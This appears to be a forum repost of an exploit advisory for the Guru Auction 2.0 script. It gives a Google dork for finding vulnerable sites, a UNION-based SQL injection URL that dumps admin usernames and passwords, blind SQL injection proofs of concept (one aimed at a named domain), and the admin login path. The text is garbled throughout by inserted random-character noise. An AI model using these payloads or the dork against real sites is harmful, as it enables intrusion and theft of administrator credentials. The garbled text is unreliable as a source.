Guru Auction 2.0 Multiple SQL Injection Vulnerabilities$ A/ N. K" t" ?0 r
& d( O) Y0 a$ R- V4 u$ P
作者 : v3n0m
, D- X' H! R0 A4 R' P应用 : Guru Auction 2.0, X) v, p8 V5 P/ R2 S. L8 V+ e$ k
Price : $49) G$ @- I- a8 i* R' C, t4 p
Vendor : http://www.guruscript.com/
0 g8 I* a. @4 }2 D. u! ^) `Google Dork : inurl:subcat.php?cate_id=
$ \% w$ C6 \' O d/ _ $ Z% s$ c7 f9 h* y6 H
SQLi p0c:
) K. s+ W# s6 I) M1 N0 \~~~~~~~~~~" d2 {4 \3 \; L3 s, N1 u$ M }
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
2 q" M6 R6 n" W3 {* Q! T
1 v9 W! r: r5 @! _9 k9 k7 Z5 Q 4 e! r# ?& X' Z2 i. j. N
盲注 p0c: C8 `0 K1 U" N9 n8 r6 T! ]" H
~~~~~~~~~~5 ]; F: L3 K/ j- b
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
) F7 ]+ V& V/ _, o* Vhttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
S, i6 d8 u8 O! U# | ( t7 d7 Y9 i$ S& \
管理登录入口:2 U& v) v2 Z+ W/ ^3 L4 [5 B
~~~~~~~~~~0 ]5 ]+ P6 ~/ X
http://domain.tld/[path]/admin/
+ J6 F( G, j5 e( C. s, i. } |
发表于 2012-12-31 09:24:05
收藏
支持
反对